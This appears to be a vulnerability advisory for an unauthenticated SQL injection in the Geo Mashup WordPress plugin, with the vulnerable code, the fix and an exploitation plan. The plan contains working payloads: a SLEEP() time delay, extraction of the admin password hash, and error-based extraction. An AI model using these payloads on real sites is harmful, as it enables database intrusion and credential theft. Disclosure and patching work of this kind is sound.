Geo Mashup <= 1.13.18 - Unauthenticated Time-Based SQL Injection via 'object_ids' Parameter
Description
The Geo Mashup plugin for WordPress is vulnerable to Time-Based SQL Injection via the 'object_ids' and 'exclude_object_ids' parameters in all versions up to, and including, 1.13.18. This is due to insufficient escaping on the user supplied parameters and lack of sufficient preparation on the existing SQL query. The `esc_sql()` function is applied but is ineffective because the values are placed in an unquoted `IN(...)` / `NOT IN(...)` SQL context — `esc_sql()` only escapes quote characters and provides no protection against parenthesis or SQL keyword injection. Additionally, while a numeric-only sanitizer exists in `sanitize_query_args()`, it is only applied in the AJAX code path and not in the `render-map.php` or template tag code paths. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind approach.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.13.19
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-4062 (Geo Mashup SQL Injection) ## 1. Vulnerability Summary The Geo Mashup plugin (<= 1.13.18) contains an unauthenticated time-based SQL injection vulnerability. The flaw exists because user-supplied parameters `object_ids` and `exclude_object_ids` are passe…
Show full research plan
Exploitation Research Plan - CVE-2026-4062 (Geo Mashup SQL Injection)
1. Vulnerability Summary
The Geo Mashup plugin (<= 1.13.18) contains an unauthenticated time-based SQL injection vulnerability. The flaw exists because user-supplied parameters object_ids and exclude_object_ids are passed into an SQL IN() or NOT IN() clause without sufficient sanitization or the use of wpdb::prepare(). While esc_sql() is used, it only escapes characters like single quotes; since the input is placed in an unquoted context (e.g., IN (1, 2, 3)), an attacker can use parentheses to break out of the IN clause and append arbitrary SQL logic.
A numeric-only sanitizer (intval) is present in the AJAX handler (geo-query.php), but it is missing in the render-map.php and template tag execution paths, leaving those vectors vulnerable.
2. Attack Vector Analysis
- Endpoint: The primary vector is the map rendering query variable or a page containing a Geo Mashup shortcode.
- Vulnerable Query Variable:
geo_mashup_content=render-map - Payload Parameter:
object_idsorexclude_object_ids. - Authentication: None (Unauthenticated).
- Preconditions: The plugin must be active. Having at least one post with location data is recommended to ensure the query logic that uses these parameters is executed, although the injection may trigger regardless.
3. Code Flow
- Entry Point: A request is made to
/?geo_mashup_content=render-map. - Routing: Geo Mashup catches this query variable (usually via
parse_queryortemplate_redirecthooks) and callsGeoMashup::render_map(). - Data Processing:
render_map()retrieves parameters from$_GET. It fails to applyarray_map('intval', ...)toobject_ids. - Database Call:
GeoMashupDB::get_object_locations($args)is called with the unsanitized$_GETdata. - SQL Sink: Inside
get_object_locations(), the code likely constructs the query:// Inferred logic in GeoMashupDB::get_object_locations if ( !empty( $args['object_ids'] ) ) { $where .= " AND m.object_id IN (" . esc_sql( $args['object_ids'] ) . ")"; } - Injection: The payload
1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -results in:WHERE ... AND m.object_id IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -)
4. Nonce Acquisition Strategy
Based on the vulnerability description and plugin architecture, the render-map functionality is designed to serve public map data and does not require a WordPress nonce for unauthenticated users.
If a nonce were required for the AJAX path (though it is sanitized), the strategy would be:
- Identify the script localization key (likely
GeoMashupMapL10norGeoMashupL10n). - Create a page with
[geo_mashup_map]. - Navigate to that page and use
browser_eval("GeoMashupMapL10n.ajax_nonce").
However, for this SQLi, we focus on the render-map path which is usually nonce-less.
5. Exploitation Strategy
The goal is to trigger a time delay using SLEEP().
Request 1: Baseline (Control)
- Method:
GET - URL:
{{base_url}}/?geo_mashup_content=render-map&object_ids=1 - Expected Response: Normal response time (~< 500ms).
Request 2: Exploitation (Time-Based)
- Method:
GET - URL:
{{base_url}}/?geo_mashup_content=render-map&object_ids=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)--+- - Headers:
Content-Type: application/x-www-form-urlencoded - Payload logic:
1): Closes the legitimateIN (statement.AND (SELECT 1 FROM (SELECT(SLEEP(5)))a): Injected time-delay logic.-- -: Comments out the trailing parenthesis and the rest of the original query.
6. Test Data Setup
- Activate Plugin: Ensure Geo Mashup is active.
- Create Geocoded Content:
# Create a post POST_ID=$(wp post create --post_title="SQLi Test Post" --post_status="publish" --porcelain) # Geo Mashup stores locations in custom tables. # To ensure the DB query is reached, we can manually insert a location for this post. wp db query "INSERT INTO wp_geo_mashup_locations (lat, lng, address) VALUES (40.7128, -74.0060, 'New York');" LOC_ID=$(wp db query "SELECT LAST_INSERT_ID();" --silent --skip-column-names) wp db query "INSERT INTO wp_geo_mashup_object_locations (object_name, object_id, location_id) VALUES ('post', $POST_ID, $LOC_ID);"
7. Expected Results
- Success: The server response will be delayed by approximately 5 seconds.
- Refinement: If
object_idsis not vulnerable viageo_mashup_content, the same payload can be applied toexclude_object_ids.
8. Verification Steps
- Check Query Execution: Review the MySQL General Query Log (if available) to see the mangled query.
- Data Extraction (Manual):
To verify data can be extracted, check if the first character of the admin's user pass starts with$P$:object_ids=1) AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,3)='$P$',SLEEP(5),0)))a)-- -
9. Alternative Approaches
- Shortcode Vector: If
geo_mashup_contentrouting is disabled, navigate to a page containing the[geo_mashup_map]shortcode and append&object_ids=...to the URL. Many plugins useshortcode_atts()which merges with$_GET. - Error-Based: If
WP_DEBUGis on, useextractvalue()orupdatexml()for faster extraction.object_ids=1) AND extractvalue(1,concat(0x7e,version()))-- - exclude_object_ids: Use the same payload on theexclude_object_idsparameter.
Summary
The Geo Mashup plugin for WordPress is vulnerable to unauthenticated time-based SQL injection through the 'object_ids' and 'exclude_object_ids' parameters. This occurs because the plugin uses esc_sql() in an unquoted SQL IN() context, allowing attackers to break out of the expected numeric list and append arbitrary SQL logic like SLEEP() commands.
Vulnerable Code
// geo-mashup-db.php around line 1751 if ( ! empty( $query_args['object_id'] ) ) { $wheres[] = 'gmlr.object_id = ' . esc_sql( $query_args['object_id'] ); } else if ( ! empty( $query_args['object_ids'] ) ) { $wheres[] = 'gmlr.object_id IN ( ' . esc_sql( $query_args['object_ids'] ) .' )'; } if ( ! empty( $query_args['exclude_object_ids'] ) ) $wheres[] = 'gmlr.object_id NOT IN ( ' . esc_sql( $query_args['exclude_object_ids'] ) . ' )';
Security Fix
@@ -1495,6 +1495,7 @@ * @param string $name */ public static function sanitize_query_arg( &$value, $name ) { + if (is_null($value)) return; switch ($name) { case 'minlat': case 'maxlat': @@ -1507,7 +1508,6 @@ $value = (float) $value; break; - case 'map_cat': case 'object_ids': case 'exclude_object_ids': $value = preg_replace( '/[^0-9,]/', '', $value ); @@ -1515,6 +1515,8 @@ case 'map_post_type': case 'object_name': + case 'map_cat': + case 'show_future': $value = sanitize_key( $value ); break; @@ -1528,10 +1530,6 @@ $value = (bool) $value; break; - case 'show_future': - $value = sanitize_key( $value ); - break; - case 'sort': $value = self::sanitize_sort_arg( $value ); break; @@ -1635,6 +1633,7 @@ 'map_offset' => 0, ); $query_args = wp_parse_args( $query_args, $default_args ); + $query_args = self::sanitize_query_args( $query_args ); // Construct the query $object_name = $query_args['object_name']; @@ -1745,18 +1744,23 @@ } else { if ( !is_array( $query_args['map_post_type'] ) ) $query_args['map_post_type'] = preg_split( '/[,\s]+/', $query_args['map_post_type'] ); - $wheres[] = "o.post_type IN ('" . join("', '", $query_args['map_post_type']) . "')"; + $wheres[] = "o.post_type IN ('" . join("', '", array_map( 'esc_sql', $query_args['map_post_type'] ) ) . "')"; } } if ( ! empty( $query_args['object_id'] ) ) { - $wheres[] = 'gmlr.object_id = ' . esc_sql( $query_args['object_id'] ); + $wheres[] = $wpdb->prepare('gmlr.object_id = %d', absint( $query_args['object_id' ])); } else if ( ! empty( $query_args['object_ids'] ) ) { - $wheres[] = 'gmlr.object_id IN ( ' . esc_sql( $query_args['object_ids'] ) .' )'; + $ids = array_map( 'absint', explode( ',', $query_args['object_ids'] ) ); + $placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) ); + $wheres[] = $wpdb->prepare( "gmlr.object_id IN ( $placeholders )", $ids ); } - if ( ! empty( $query_args['exclude_object_ids'] ) ) - $wheres[] = 'gmlr.object_id NOT IN ( ' . esc_sql( $query_args['exclude_object_ids'] ) . ' )'; + if ( ! empty( $query_args['exclude_object_ids'] ) ) { + $ids = array_map( 'absint', explode( ',', $query_args['exclude_object_ids'] ) ); + $placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) ); + $wheres[] = $wpdb->prepare( "gmlr.object_id NOT IN ( $placeholders )", $ids ); + }
Exploit Outline
The exploit targets the render-map functionality which is accessible unauthenticated. 1. Use a GET request to the site root with the query variable `geo_mashup_content=render-map`. 2. Supply a payload to the `object_ids` parameter designed to break out of the SQL `IN()` statement. 3. Example payload: `1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`. 4. The `1)` closes the legitimate `IN` list, `AND (SELECT ...)` injects the time-delay logic, and `-- -` comments out the trailing parenthesis from the original code's query construction. 5. Observe the server response time. A delay of approximately 5 seconds confirms successful injection. This methodology can be adapted to extract database values character-by-character using conditional SLEEP() calls.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.